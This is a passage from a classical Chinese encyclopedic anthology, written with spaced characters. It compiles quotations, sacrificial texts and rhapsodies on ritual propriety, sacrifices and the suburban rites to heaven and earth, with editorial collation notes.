.\n大 司 徒 以 五 礼 防 民 之 伪 . 而 教 之 中 .\n礼 记 曰 . 礼 也 者 . 体 也 . 礼 不 备 . 谓 之 不 成 人 .\n又 曰 . 夫 礼 者 . 所 以 定 亲 疏 . 决 嫌 疑 . 别 同 异 . 明 是 非 也 . 道 德 仁 义 . 非 礼 不 成 . 教 训 正 俗 . 非 礼 不 备 . 分 争 辩 讼 . 非 礼 不 决 . 君 臣 上 下 . 父 子 兄 弟 . 非 礼 不 定 .\n又 曰 . 夫 礼 . 先 王 以 承 天 之 道 . 以 治 人 之 情 . 故 失 之 者 死 . 得 之 者 生 . 诗 云 . 相 鼠 有 体 . 人 而 无 礼 . 人 而 无 礼 . 胡 不 遄 死 . 言 偃 复 问 曰 . 夫 子 之 极 言 礼 也 . 可 得 而 闻 与 . 孔 子 曰 . 我 欲 观 夏 道 . 是 故 之 杞 而 不 足 征 也 . 吾 得 夏 时 焉 . 我 欲 观 殷 道 . 是 故 之 宋 而 不 足 征 也 . 吾 得 坤 干 焉 .\n又 曰 . 故 人 情 者 . 圣 王 之 田 也 . 修 礼 以 耕 之 . 陈 义 以 种 之 . 讲 学 以 耨 之 . 本 仁 以 聚 之 . 播 乐 以 安 之 .\n又 曰 . 礼 其 在 人 也 . 如 竹 箭 之 有 筠 也 . 如 松 柏 之 有 心 也 . 二 者 居 天 下 之 大 端 也 . 贯 四 时 . 不 改 柯 易 叶 .\n又 曰 . 夫 礼 本 于 太 一 . 分 而 为 天 地 . 转 而 为 阴 阳 . 变 而 为 四 时 . 列 而 为 鬼 神 .\n大 戴 礼 曰 . 礼 象 五 行 也 . 其 义 四 时 也 . 故 以 四 时 ○ 大 戴 礼 本 命 篇 无 时 字 . 举 . 有 思 . ○ 大 戴 礼 作 恩 . 此 讹 . 有 义 . 有 节 . 有 权 .\n左 传 曰 . 子 太 叔 见 赵 简 子 . 简 子 问 揖 让 周 旋 之 礼 . 对 曰 . 是 仪 也 . 非 礼 也 . 简 子 曰 . 敢 问 何 谓 礼 . 对 曰 . 闻 诸 先 大 夫 子 产 曰 . 夫 礼 . 天 地 之 经 也 . 地 之 义 也 . 民 之 行 也 .\n又 曰 . 邾 隐 公 来 朝 . 子 贡 观 焉 . 邾 子 执 玉 高 . 其 容 仰 . 公 受 玉 卑 . 其 容 俯 . 子 贡 曰 . 以 礼 观 之 . 二 公 皆 有 亡 焉 . 今 朝 贺 而 不 度 . 高 仰 骄 也 . 卑 俯 替 也 . 骄 近 乱 . 替 近 疾 . 君 为 主 . 其 先 亡 乎 .\n论 语 曰 . 道 之 以 政 . 齐 之 以 刑 . 民 免 而 无 耻 . 道 之 以 德 . 齐 之 以 礼 . 有 耻 且 格 .\n又 曰 . 颜 回 问 仁 . 子 曰 . 克 己 复 礼 为 仁 . 一 日 克 己 复 礼 . 天 下 归 仁 焉 . 为 仁 由 己 . 而 由 人 乎 哉 . 颜 回 曰 . 请 问 其 目 . 子 曰 . 非 礼 勿 视 . 非 礼 勿 听 . 非 礼 勿 言 . 非 礼 勿 动 . 颜 回 曰 . 回 虽 不 敏 . 请 事 斯 语 矣 .\n庄 子 曰 . 三 皇 五 帝 之 礼 义 法 度 . 不 矜 于 同 . 而 矜 于 治 . 故 譬 三 皇 五 帝 之 礼 义 法 度 . 其 犹 楂 梨 橘 柚 耶 . 其 味 相 反 . 而 皆 可 于 口 . 故 礼 义 法 度 . 应 时 而 变 也 .\n孙 卿 子 曰 . 人 生 有 欲 . 欲 则 求 . 求 则 争 . 争 则 乱 . 乱 则 穷 . 先 王 恶 其 乱 也 . 故 制 礼 义 以 养 之 . 慎 子 曰 . 礼 从 俗 . 政 从 上 . 使 从 君 . 国 有 贵 贱 之 礼 . 无 贤 不 肖 之 礼 也 .\n白 虎 通 曰 . 所 以 作 礼 乐 者 . 乐 以 象 天 . 礼 以 法 地 .\n家 语 曰 . 孔 子 言 于 鲁 哀 公 曰 . 人 之 所 以 生 . 礼 为 大 . 非 礼 无 以 辨 君 臣 之 位 .\n董 生 书 曰 . 理 者 天 所 为 也 . 文 者 人 所 为 也 . 人 所 为 谓 之 礼 . 礼 者 . 因 人 情 而 为 节 文 也 . 以 救 其 乱 . 夫 堤 者 水 之 防 也 . 礼 者 人 之 防 也 . 刑 防 其 末 . 礼 防 其 本 .\n礼 稽 命 征 曰 . 礼 之 动 摇 也 . 与 天 地 同 气 . 四 时 合 信 . 阴 阳 为 符 . 日 月 为 明 .\n汉 书 曰 . 叔 孙 通 为 高 祖 制 汉 仪 十 二 篇 .\n范 晔 后 汉 书 曰 . 诏 召 玄 武 司 马 班 固 . 问 定 礼 制 之 宜 . 固 曰 . 京 师 诸 儒 . 多 能 说 礼 . 宜 广 招 集 . 共 议 失 得 . 帝 曰 . 作 舍 道 边 . 三 年 不 成 . 会 礼 之 家 . 名 为 聚 讼 . 互 生 疑 异 . 笔 不 得 下 . 昔 者 尧 作 大 章 . 一 夔 足 矣 . 章 和 元 年 . 乃 召 曹 褒 . 诣 嘉 德 门 . 持 班 固 所 上 叔 孙 通 汉 仪 十 二 篇 . 敕 褒 曰 . 此 制 散 略 . 多 不 合 经 . 令 宜 依 制 条 . 使 可 施 行 . 褒 于 南 宫 东 观 . 考 正 旧 礼 . 上 自 天 子 . 至 于 庶 人 . 冠 昏 吉 凶 . 终 始 制 度 . 以 为 一 百 五 十 篇 .\n典 略 曰 . 孔 子 适 宋 . 与 弟 子 习 于 树 下 . 宋 司 马 桓 魋 使 人 拔 其 树 . 去 适 于 野 .\n【 赋 】 楚 荀 况 礼 赋 曰 . 爰 有 大 物 . 非 丝 非 帛 . 文 理 成\n章 . 非 日 非 月 . 为 天 下 明 . 生 者 以 寿 . 死 者 以 葬 . 城 郭\n以 固 . 三 军 以 彊 . 粹 而 王 . 駮 而 霸 . 无 一 焉 而 亡 . 臣 愚\n弗 识 . 敢 请 之 王 . 王 曰 . 此 夫 文 而 不 采 者 欤 . 简 而 易 知\n. 而 致 有 理 者 欤 . 君 子 所 敬 . 小 人 所 不 敬 者 欤 . 匹 夫 隆\n之 . 则 为 圣 人 . 诸 侯 隆 之 . 则 一 四 海 者 欤 . 致 明 而 约 .\n甚 顺 而 体 . 请 归 之 礼 .\n尔 雅 曰 . 春 祭 曰 祠 . 祠 之 言 食 . 夏 祭 曰 礿 . 新 菜 可 汋 . 秋 祭 曰 尝 . 尝 新 谷 也 . 冬 祭 曰 蒸 . 蒸 . 进 也 . 进 品 物 祭 天 曰 燔 柴 . 既 祭 . 积 薪 焚 之 . 祭 地 曰 瘗 薶 . 既 祭 . 埋 藏 之 . 祭 山 曰 庪 悬 . 或 庪 或 悬 . 置 之 于 山 . 庪 音 轨 . 祭 水 曰 沉 浮 . 或 沉 或 浮 . 置 之 于 水 . 祭 星 曰 布 . 布 散 于 地 . 祭 风 曰 磔 . 今 俗 当 大 道 中 磔 狗 . 云 以 止 风 . 此 其 遗 象 也 . 是 类 是 祃 . 师 祭 也 . 类 于 上 帝 . 祃 于 所 征 之 地 . 祃 . 莫 架 反 . 出 诗 雅 也 . 既 伯 既 祷 . 马 祭 也 . 伯 . 马 祖 也 . 将 用 马 力 . 必 先 祭 其 祖 也 .\n广 雅 曰 . 圆 丘 大 坛 . 祭 天 也 . 方 泽 大 折 . 祭 地 也 .\n周 书 曰 . 设 丘 兆 于 南 郊 . 以 祀 上 帝 . 配 以 后 稷 农 星 . 先 王 皆 与 食 .\n说 文 曰 . 除 恶 之 祭 曰 禬 . 告 事 示 福 曰 祷 . 道 上 之 祭 曰 . 洁 意 以 享 曰 禋 . 以 事 类 祭 神 曰 禷 . 祭 司 命 曰 ● . 俾 利 反 . 祭 豕 先 曰 ● . 似 劳 反 . 月 祭 曰 祽 . 子 内 反 .\n周 官 曰 . 凡 庶 人 不 畜 者 . 祭 无 牲 . 不 耕 者 . 祭 无 盛 .\n又 曰 . 血 祭 祭 社 稷 五 祀 五 岳 . 埋 沉 祭 山 林 川 泽 . 以 音 孚 逼(经 典 释 文 . 下 有 反 字 .)膝(周 礼 注 作 胸 .)也 . 辜 祭 四 方 百 物 . 以 肆 献 祼 享 先 王 . 以 馈 食 享 先 王 .\n又 曰 . 凡 阳 祀 . 用 骍 牲 毛 之 . 阴 祀 . 用 黝 牲 毛 之 . 阴 是 北 郊 .\n又 郑 注 曰 . 周 礼 曰 . 郁 为 兰 也 . 煮 之 和 鬯 酒 也 .\n礼 记 曰 . 祭 . 丰 年 不 奢 . 凶 年 不 俭 .\n又 曰 . 祭 不 欲 数 . 数 则 不 敬 . 祭 不 欲 疏 . 疏 则 怠 . 是 故 君 子 合 诸 天 道 . 春 禘 秋 尝 . 霜 露 既 降 . 君 子 履 之 . 必 有 凄 怆 之 心 . 非 寒 之 谓 也 . 春 雨 露 既 濡 . 君 子 履 之 . 必 有 怵 惕 之 心 . 如 将 见 之 . 乐 以 迎 来 . 哀 以 送 往 .\n又 曰 . 孟 春 之 月 . 其 祀 户 . 祭 先 脾 . 孟 夏 之 月 . 其 祀 灶 . 祭 先 肺 . 中 央 土 . 其 祀 中 霤 . 祭 先 心 . 孟 秋 之 月 . 其 祀 门 . 祭 先 肝 . 孟 冬 之 月 . 其 祀 行 . 祭 先 肾 . 天 子 祭 天 地 四 方 山 川 五 祀 . 岁 遍 . 大 夫 祭 五 祀 . 岁 遍 . 士 祭 其 先 . 祭 日 于 坛 . 祭 月 于 坎 . 日 于 东 序 . 月 于 西 序 . 以 别 幽 明 内 外 . 王 立 七 祀 . 曰 司 命 . 曰 中 霤 . 曰 国 行 . 曰 国 门 . 曰 泰 厉 . 曰 户 . 曰 灶 . 诸 侯 五 祀 . 曰 司 命 中 霤 国 门 国 行 公 厉 . 大 夫 三 祀 . 曰 族 厉 . 曰 门 . 曰 行 . 士 二 祀 . 曰 门 . 曰 行 . 庶 人 一 祀 . 曰 或 亡 户 . 或 立 灶 . 圣 人 之 制 祀 也 . 法 施 于 人 则 祀 之 . 以 死 勤 事 则 祀 之 . 以 劳 定 国 则 祀 之 . 能 御 大 灾 则 祀 之 . 日 月 星 辰 . 人 所 瞻 仰 也 . 山 林 川 谷 丘 陵 . 人 所 取 材 用 也 . 非 此 族 也 . 不 在 祀 典 .\n尚 书 曰 . 肆 类 于 上 帝 . 禋 于 六 宗 . 望 于 山 川 . 遍 于 群 神 . 王 肃 注 云 . 六 宗 者 . 所 宗 者 皆 洁 祀 之 . 埋 少 牢 于 泰 昭 . 祭 时 也 . 相 近 于 坎 坛 . 祭 寒 暑 也 . 王 宫 祭 日 也 . 夜 明 祭 月 也 . 幽 禜 祭 星 也 . 云 禜 祭 水 旱 也 .\n诗 曰 . 以 享 以 祀 . 以 介 景 福 .\n谷 梁 传 曰 . 宫 室 不 设 . 不 可 以 祭 者 . 荐 其 义 也 . 非 享 味 也 .\n物 理 论 曰 . 古 者 尊 祭 重 神 . 祭 宗 庙 . 追 养 也 . 祭 天 地 . 报 往 也 .\n论 衡 曰 . 凡 祭 祀 之 义 有 二 . 一 曰 报 功 . 二 曰 修 先 . 报 功 以 勉 力 . 脩 先 以 崇 恩 也 .\n幽 明 录 曰 . 庙 方 四 丈 . 不 作 墉 道 . 广 □ ○ 原 缺 . 明 本 作 五 . 初 学 记 十 三 作 四 . 尺 . 夹 树 兰 香 . 斋 者 煮 以 沐 浴 后 祭 . 所 谓 兰 汤 .\n尸 子 曰 . 齐 有 贫 者 . 命 其 狗 为 富 . 命 其 子 为 乐 . 方 将 祭 . 入 于 室 . 叱 之 曰 . 富 出 . 祝 曰 . 不 祥 . 家 果 有 祸 . 长 子 死 . 哭 之 曰 . 乐 乎 . 而 不 自 悲 也 .\n孔 丛 子 曰 . 元 和 二 年 春 . 帝 东 巡 狩 . 还 过 鲁 . 幸 阙 里 . 以 太 牢 祀 孔 子 及 七 十 弟 子 . 作 六 代 之 乐 . 大 会 孔 氏 男 子 二 十 以 上 者 六 十 人 .\n越 绝 书 曰 . 越 王 既 往 平 吴 . 春 祭 三 江 . 秋 祭 五 湖 . 因 以 其 时 为 之 立 祠 . 垂 之 末 世 . 传 之 万 载 .\n汉 书 曰 . 高 祖 微 时 . 闻 魏 公 子 贤 . 及 即 位 . 每 过 大 梁 . 常 祀 公 子 . 高 祖 十 二 年 . 从 击 黥 布 还 . 为 公 子 置 守 冢 五 家 . 世 世 以 岁 四 时 奉 祠 .\n又 曰 . 元 始 四 年 . 诏 书 祀 百 辟 卿 士 有 益 于 民 者 . 蜀 郡 以 文 翁 . 九 江 以 召 父 应 . 诏 书 岁 时 郡 二 千 石 率 官 属 行 礼 奉 祠 . 信 臣 家 在 南 阳 . 亦 为 立 祠 .\n又 曰 . 初 朱 邑 且 死 . 嘱 其 子 曰 . 我 故 为 桐 乡 啬 夫 . 其 民 吏 爱 我 . 必 葬 桐 乡 . 后 世 子 孙 奉 我 . 不 如 桐 乡 民 . 及 死 . 其 子 葬 之 桐 乡 西 郭 外 . 民 果 共 为 邑 起 冢 . 立 祠 祭 . 至 今 不 绝 .\n东 观 汉 记 曰 . 桓 谭 . 字 君 山 . 沛 人 . 章 帝 元 和 中 . 行 巡 狩 至 沛 . 令 使 者 祠 谭 家 . 乡 里 甚 荣 之 .\n又 曰 . 永 平 二 年 十 一 月 . 诏 京 兆 右 扶 风 . 以 中 牢 祀 萧 何 霍 光 . 出 郡 钱 谷 . 给 萧 何 子 孙 . 在 三 里 内 者 . 悉 令 侍 祠 .\n又 曰 . 皇 帝 立 黄 老 祠 跃 ○ 太 平 御 览 五 百 二 十 六 作 濯 . 龙 中 . 为 坛 . 彩 色 眩 曜 .\n汉 旧 仪 曰 . 皇 帝 祭 天 . 紫 坛 帷 幄 . 高 皇 帝 配 天 . 后 ○ 初 学 记 十 三 . 太 平 御 览 五 百 二 十 六 作 居 . 堂 下 西 向 . 绀 席 也 .\n左 传 曰 . 龙 见 而 雩 . 旱 祭 也 . 祈 雨 为 雩 . 雪 霜 风 雨 之 灾 则 禜 之 .\n【 文 】 魏 武 帝 祠 太 尉 乔 玄 墓 文 曰 . 昔 以 幼 年 . 逮 升 堂 室 . 增 荣 益 观 . 皆 由 奖 助 . 士 死 知 己 . 怀 此 无 忘 . 又 承 从 容 要 誓 . 徂 逝 之 后 . 路 有 经 由 . 不 以 斗 酒 只 鸡 . 过 相 沃 酹 . 车 过 三 步 . 肠 ○ 魏 志 一 注 作 腹 . 痛 勿 怪 . 虽 临 时 戏 笑 之 言 . 非 至 亲 之 笃 好 . 夫 何 肯 为 此 辞 哉 .\n晋 潘 岳 为 诸 妇 祭 庾 新 妇 文 曰 . 潜 形 幽 榇 . 宁 神 旧 宇 . 室 虚 风 生 . 床 尘 帷 举 . 自 我 不 见 . 载 离 寒 暑 . 虽 则 乖 隔 . 哀 亦 时 叙 . 启 殡 今 夕 . 祖 行 明 朝 . 雨 绝 华 庭 . 埃 灭 大 宵 . 俪 执 箕 帚 . 偕 奉 夕 朝 . 髣 佛 未 行 . 顾 瞻 弗 获 . 伏 膺 饮 泪 . 感 今 怀 昔 . 怀 昔 伊 何 . 祁 祁 娣 姒 . 感 今 伊 何 . 冥 冥 吾 子 . 形 未 废 目 . 音 犹 在 耳 .\n晋 殷 阐 祭 王 东 亭 文 曰 . 以 少 牢 之 奠 . 敬 荐 东 亭 王 侯 之 灵 . 盖 闻 朗 鉴 不 尘 . 精 金 能 照 . 君 以 珪 璋 . 资 以 明 要 . 少 长 风 流 . 举 契 理 调 . 事 扰 皇 家 . 道 在 君 子 . 亮 诚 外 内 . 寄 心 万 里 . 契 同 风 云 . 义 贯 终 始 . 自 昔 索 居 . 荏 苒 于 兹 . 五 载 不 觌 . 何 日 不 思 . 呜 呼 若 人 . 奄 随 化 迁 . 古 之 遗 爱 . 犹 或 兴 言 . 承 凶 怆 痛 . 慨 然 留 连 .\n晋 殷 允 祭 徐 孺 子 文 曰 . 惟 豫 章 太 守 殷 君 . 谨 奠 汉 故 聘 士 豫 章 徐 先 生 . 惟 君 资 纯 玄 粹 . 含 真 太 和 . 卓 尔 高 尚 . 道 映 南 岳 . 逍 遥 环 堵 . 万 物 不 干 其 志 . 负 褐 行 吟 . 轩 冕 不 易 其 乐 . 时 携 虚 榻 . 伫 金 兰 之 眷 . 千 里 命 契 . 寄 生 刍 之 咏 . 非 夫 超 悟 身 名 . 遁 世 无 闷 者 . 孰 若 是 乎 . 夫 诚 素 自 中 . 微 物 为 重 . 苹 藻 是 歆 . 实 过 牲 牢 .\n晋 王 珣 祭 徐 聘 士 文 曰 . 豫 章 徐 先 生 . 陶 精 太 和 . 诞 膺 一 德 . 藏 器 高 栖 . 确 尔 特 立 . 贞 一 足 以 制 群 动 . 纯 本 足 以 息 浮 末 . 宣 尼 有 言 . 不 事 王 侯 . 高 尚 其 事 . 若 先 生 者 . 抑 亦 当 之 矣 . 限 兹 遐 路 . 无 由 造 敬 . 系 伫 灵 宇 . 乃 情 依 依 . 故 贡 薄 祠 . 昭 述 宿 心 . 神 而 有 灵 . 傥 垂 尚 飨 .\n晋 周 颖 文 祭 梁 鸿 文 曰 . 晋 隆 安 四 年 . 陈 郡 周 颖 文 . 以 薀 藻 行 潦 . 祠 于 梁 先 生 之 墓 . 夫 子 迈 志 箕 颖 . 尘 垢 雕 俗 . 骨 秀 风 霜 . 性 淳 寡 欲 . 娶 待 偕 隐 之 俪 . 文 绝 陪 臣 之 录 . 遂 负 策 周 鲁 之 郊 . 逆 旅 吴 会 之 阿 . 可 谓 高 奇 绝 伦 . 孤 生 莫 和 者 也 . 后 学 抚 牍 . 得 人 在 文 . 忽 以 知 命 . 而 展 其 坟 . 芒 芒 积 草 . 有 馥 余 芬 . 昔 先 生 过 延 陵 而 想 季 . 经 海 隅 而 感 连 . 苟 践 迹 而 趣 合 . 亦 断 金 于 当 年 .\n宋 王 僧 远 祭 颜 延 之 文 曰 . 气 高 叔 夜 . 方 严 仲 举 . 逸 翮 独 征 . 孤 风 绝 侣 .\n宋 陶 潜 自 祭 文 曰 . 岁 惟 丁 未 . 律 中 无 射 . 天 寒 夜 长 . 风 气 萧 索 . 鸿 雁 于 征 . 草 木 黄 落 . 陶 子 将 辞 逆 旅 之 馆 . 永 归 本 宅 . 故 人 凄 其 相 悲 . 同 祖 行 于 今 夕 . 自 余 为 人 . 逢 运 之 贫 . 箪 飘 屡 罄 . 絺 绤 冬 陈 . 已 达 运 命 . 畴 能 罔 眷 . 余 今 斯 化 . 可 以 无 恨 . 寿 涉 百 龄 . 身 慕 肥 遁 . 从 老 得 终 . 奚 所 复 恋 . 葬 之 中 野 . 以 安 其 魂 . 寂 寂 我 行 . 萧 萧 墓 门 . 奢 耻 宋 臣 . 俭 笑 王 孙 . 匪 贵 前 誉 . 孰 重 后 歌 . 人 生 实 难 . 死 如 之 何 .\n宋 谢 延 之 祭 屈 原 文 曰 . 兰 薰 而 摧 . 玉 贞 则 折 . 物 忌 坚 芳 . 人 讳 明 洁 . 曰 若 先 生 . 逢 辰 之 缺 .\n齐 卞 伯 玉 祭 孙 叔 敖 文 曰 . 谨 以 醴 羞 . 祭 楚 令 尹 孙 君 之 灵 . 眇 眇 千 载 . 悠 悠 舒 荆 . 理 无 不 通 . 事 隔 者 形 . 尚 想 清 尘 . 承 风 效 诚 . 超 超 夫 子 . 淡 矣 道 情 . 自 心 伊 贵 . 人 爵 靡 婴 . 芳 风 如 箫 . 清 响 如 埙 . 景 矣 行 役 . 言 戾 豫 方 . 侧 闻 夫 子 . 托 愤 睢 阳 . 灵 封 颓 墓 . 丘 茔 榛 荒 . 幽 幽 神 道 . 为 有 为 亡 . 徘 徊 永 念 . 怆 矣 其 伤 .\n齐 谢 朓 为 诸 娣 祭 阮 夫 人 文 曰 . 婉 娩 嫔 德 . 幽 闲 妇 性 . 眄 史 弘 箴 . 陈 诗 成 咏 . 嘉 言 足 题 . 清 晖 可 映 . 契 阔 未 几 . 音 尘 如 昨 . 中 景 遽 倾 . 芳 荍 先 落 . 畴 日 交 觞 . 享 也 虚 荐 . 带 上 先 结 . 握 中 遗 扇 . 迸 泪 失 声 . 潺 湲 如 霰 .\n齐 孔 稚 珪 祭 外 兄 张 长 史 文 曰 . 惟 君 之 德 . 高 明 秀 挺 . 浩 汗 深 度 . 昂 藏 风 领 . 学 不 师 古 . 因 心 则 睿 . 筌 蹄 象 繇 . 糠 庄 惠 . 吾 与 夫 子 . 分 协 芳 金 . 凭 风 共 酒 . 藉 月 同 琴 .\n梁 简 文 帝 祭 战 亡 者 文 曰 . 降 夫 既 旋 . 功 臣 又 赏 . 班 荷 元 勋 . 苏 逢 漏 网 . 校 尉 沾 荣 . 属 国 蒙 奖 . 独 念 断 魂 . 长 毕 灰 壤 . 膏 原 染 刃 . 委 骨 埋 泉 . 徒 闻 身 没 . 讵 辩 名 传 .\n梁 徐 悱 妻 刘 氏 祭 夫 文 曰 . 维 梁 大 同 五 年 . 新 妇 谨 荐 少 牢 于 徐 府 君 之 灵 曰 . 惟 君 德 爰 礼 智 . 才 兼 文 雅 . 学 比 山 成 . 辩 同 河 泻 . 明 经 擢 秀 . 光 朝 振 野 . 调 逸 许 中 . 声 高 洛 下 . 含 潘 度 陆 . 超 终 迈 贾 . 二 仪 既 肇 . 判 合 始 分 . 简 贤 依 德 . 乃 隶 夫 君 . 外 治 徒 奉 . 内 佐 无 闻 . 幸 移 蓬 性 . 颇 习 兰 薰 . 式 传 琴 瑟 . 相 酬 典 坟 . 辅 仁 难 验 . 神 情 易 促 . 雹 碎 春 红 . 霜 雕 夏 绿 . 躬 奉 正 衾 . 亲 观 启 足 . 一 见 无 期 . 百 身 何 赎 . 呜 呼 哀 哉 . 生 死 虽 殊 . 情 亲 犹 一 . 敢 遵 先 好 . 手 调 姜 橘 . 素 俎 空 干 . 奠 觞 徒 溢 . 昔 奉 齐 眉 . 异 于 今 日 . 从 军 暂 别 . 且 思 楼 中 . 伯 游 未 反 . 尚 比 飞 蓬 . 如 当 此 诀 . 永 痛 无 穷 . 百 年 何 几 . 泉 穴 方 同 .\n陈 沈 炯 祭 梁 吴 郡 袁 府 君 文 曰 . 夫 宫 鸣 征 应 . 响 韵 相 趋\n. 桂 馥 兰 芬 . 期 臭 在 斯 . 道 合 一 朝 . 岂 忘 千 载 . 日 者 明\n德 世 彦 . 振 缨 王 室 . 坐 啸 大 邦 . 显 治 巨 丽 . 窃 以 不 敏 .\n出 宰 句 吴 . 上 郡 下 邑 . 都 城 接 雉 . 虽 王 事 靡 盬 . 无 失 豫\n游 . 窥 洞 庭 于 五 湖 . 登 姑 苏 于 九 曲 . 身 后 之 事 . 一 至 于\n斯 . 今 者 长 乐 未 央 . 已 夹 樗 里 之 墓 . 公 宫 鲁 库 . 非 复 少\n昊 之 墟 . 成 土 一 棺 . 未 知 何 托 . 解 剑 絮 浆 . 转 增 歔 欷 .\n广 雅 曰 . 圆 丘 太 坛 祭 天 . 方 泽 太 折 祭 地 .\n周 书 曰 . 乃 兆 乎 南 郊 . 以 祀 上 帝 . 配 后 稷 农 皇 ○ 按 前 祭 祀 篇 引 作 星 . 先 王 与 食 .\n周 官 曰 . 大 宗 伯 掌 天 神 之 礼 . 以 禋 祀 祀 昊 天 上 帝 . 以 实 柴 祀 日 月 星 辰 . 以 槱 燎 祀 司 中 司 命 风 师 雨 师 .\n又 曰 . 苍 璧 礼 天 . 黄 琮 礼 地 .\n又 曰 . 四 圭 有 邸 . 以 祀 天 . 旅 上 帝 . 两 圭 有 邸 . 以 祀 地 . 旅 四 望 . 大 司 乐 奏 黄 钟 . 歌 大 吕 . 舞 云 门 . 以 祀 天 神 . 谓 五 帝 及 天(周 礼 注 天 字 无 .)日 月 星 辰 之 .(周 礼 注 作 也 .)王 者 各 以 夏 正 月 祀 其 受 命 之 帝 于 南 郊 也 . 奏 太 蔟 . 歌 应 钟 . 舞 咸 池 . 以 祭 地 祇 于 北 郊 . 谓 地 神 及 社 稷 也 . ○ 按 本 句 亦 周 礼 注 文 . 当 作 夹 注 .\n又 曰 . 凡 乐 圜 钟 为 宫 . 黄 钟 为 角 . 太 蔟 为 征 . 姑 洗 为 羽 . 雷 鼓 雷 . 孤 竹 之 管 . 云 和 之 琴 瑟 . 云 门 之 舞 . 冬 日 至 . 于 地 上 之 圆 丘 奏 之 . 若 乐 六 变 . 天 神 皆 降 . 可 得 而 礼 矣 . 凡 乐 函 钟 为 宫 . 太 蔟 为 角 . 姑 洗 为 征 . 南 吕 为 羽 . 灵 鼓 灵 . 孙 竹 之 管 . 空 桑 之 琴 瑟 . 咸 池 之 舞 . 夏 日 至 . 于 泽 中 之 方 丘 奏 之 . 若 乐 八 变 . 则 地 祇 皆 出 . 可 得 而 礼 矣 .\n礼 记 曰 . 郊 之 祭 . 迎 长 日 之 至 . 大 报 天 而 主 日 也 . 兆 于 南 郊 . 就 阳 位 也 . 扫 地 而 祭 . 于 其 质 也 . 器 用 陶 匏 . 以 象 天 地 之 性 也 . 于 郊 故 谓 之 郊 .\n又 曰 . 祭 帝 于 郊 . 所 以 定 天 位 也 .\n又 曰 . 成 王 封 周 公 于 鲁 . 命 鲁 公 祀 周 公 以 天 子 之 礼 乐 . 是 以 鲁 君 孟 春 乘 大 辂 . 戴 弧 韣 . 旗 十 有 二 旒 . 日 月 之 章 . 祀 帝 于 郊 . 配 以 后 稷 . 天 子 之 礼 也 .\n毛 诗 曰 . 昊 天 有 成 命 . 郊 祀 天 地 也 .\n公 羊 传 曰 . 祭 者 . 荐 其 时 也 . 荐 其 义 也 . 非 享 味 也 .\n又 曰 . 山 川 有 能 润 乎 百 里 者 . 天 子 秩 而 祭 之 . 汉 书 曰 . 成 帝 初 即 位 . 丞 相 御 史 大 夫 桓 谭 奏 言 . 帝 王 之 事 . 莫 大 于 承 天 之 序 . 承 天 之 序 . 莫 重 于 郊 祀 . 故 圣 王 尽 心 极 虑 . 以 建 其 制 . 祭 天 于 南 郊 . 就 阳 之 义 . 瘗 地 于 北 郊 . 则 阴 之 象 也 .\n又 曰 . 高 帝 入 关 . 问 秦 祀 何 帝 . 曰 白 青 黄 赤 四 帝 . 上 曰 . 天 有 五 帝 而 四 何 . 莫 知 其 说 . 上 曰 . 五 待 我 . 为 立 黑 帝 . 祀 曰 黑 畤 .\n汉 旧 仪 曰 . 汉 法 . 三 岁 一 祭 于 云 阳 宫 甘 泉 坛 . 以 冬 至 日 祭 天 . 天 神 下 . 三 岁 一 祭 地 于 河 东 汾 阴 后 土 宫 . 以 夏 至 日 祭 地 . 地 神 出 . 祭 五 帝 于 雍 畤 .\n又 曰 . 祭 天 用 六 彩 绮 席 . 六 重 . 上 一 丈 . 中 一 幅 四 周 缘 之 . 玉 几 玉 饰 器 .\n又 曰 . 桓 ○ 太 平 御 览 五 百 二 十 七 作 皇 . 下 同 . 帝 祭 天 . 居 玄 云 ○ 御 览 作 云 阳 . 宫 . 斋 百 日 . 上 甘 泉 通 天 台 . 高 三 十 丈 . 以 候 天 神 之 下 . 见 如 流 火 . 舞 女 童 三 百 人 . 皆 年 八 岁 . 天 神 下 坛 所 . 举 烽 火 . 桓 帝 就 竹 宫 中 . 不 至 坛 所 . 甘 泉 台 去 长 安 三 百 里 . 望 见 长 安 成 . ○ 御 览 作 城 . 帝 ○ 御 览 帝 上 有 黄 字 . 已 来 所 祭 天 之 圆 丘 也 .\n又 曰 . 祭 地 河 东 汾 阴 后 土 宫 . 宫 曲 入 河 . 古 之 祭 地 泽 中 方 丘 也 . 礼 仪 如 祭 天 .\n五 经 通 义 曰 . 王 者 所 祭 天 地 何 . 王 者 父 事 天 . 母 事 地 . 故 以 子 道 也 . 祭 日 以 丁 与 辛 何 . 丁 者 . 反 覆 自 丁 宁 也 . 辛 者 . 自 克 辛 也 .\n后 汉 书 曰 . 灵 帝 建 宁 二 年 . 迎 气 黄 郊 . 遂 于 洛 水 西 桥 . 逢 暴 风 雨 . 导 从 卤 部 车 或 发 盖 . 百 官 沾 濡 . 还 不 至 郊 .\n贺 循 上 郊 坛 制 度 曰 . 汉 旧 仪 . 南 郊 圆 坛 八 陛 . 于 宫 南 七 里 . 北 郊 方 坛 四 陛 . 于 城 北 四 里 . 依 汉 故 事 . 柴 于 坛 二 十 步 . 高 二 丈 . 大 二 丈 .\n【 赋 】 晋 郭 璞 南 郊 赋 曰 . 于 是 时 惟 青 阳 . 日 在 方 旭 . 我 后 将 受 命 灵 坛 . 乃 改 步 而 鸣 玉 . 升 金 轩 . 抚 太 仆 . 扬 六 鸾 . 齐 八 騄 . 列 五 幡 于 一 元 兮 . 靡 日 月 乎 黄 屋 . 矫 陵 乌 以 侦 候 兮 . 整 豹 尾 于 后 属 . 尔 乃 造 旷 场 . 戾 坛 庭 . 百 寮 山 立 . 万 乘 云 萦 . 延 祝 史 . 肆 玉 牲 . 登 圆 丘 . 揖 太 清 . 礼 群 望 . 告 皇 灵 . 天 澄 其 气 . 日 朗 其 精 . 飞 廉 鼓 舞 于 八 维 兮 . 丰 隆 击 节 于 九 冥 . 祝 融 穆 清 而 肃 侍 兮 . 阳 侯 澹 以 中 停 . 郊 寰 之 内 . 区 域 之 外 . 雕 题 卉 服 . 被 发 左 带 . 骏 奔 在 坛 . 不 期 而 会 . 峨 峨 群 辟 . 蚩 蚩 黎 庶 . 翘 怀 圣 猷 . 思 我 王 度 . 事 崇 其 简 . 服 尚 其 素 . 化 无 不 融 . 万 物 自 鼓 . 振 西 北 之 绝 维 . 隆 东 南 之 桡 柱 . 廓 清 紫 衢 . 电 扫 神 宇 . 风 马 桂 林 . 抗 旌 林 圃 . 五 岳 不 足 以 题 其 勋 . 九 韶 不 足 以 赞 其 舞 .\n【 颂 】 梁 简 文 帝 南 郊 颂 曰 . 臣 闻 唯 天 为 大 . 圣 人 敬 其 德 . 知 几 其 神 . 至 人 契 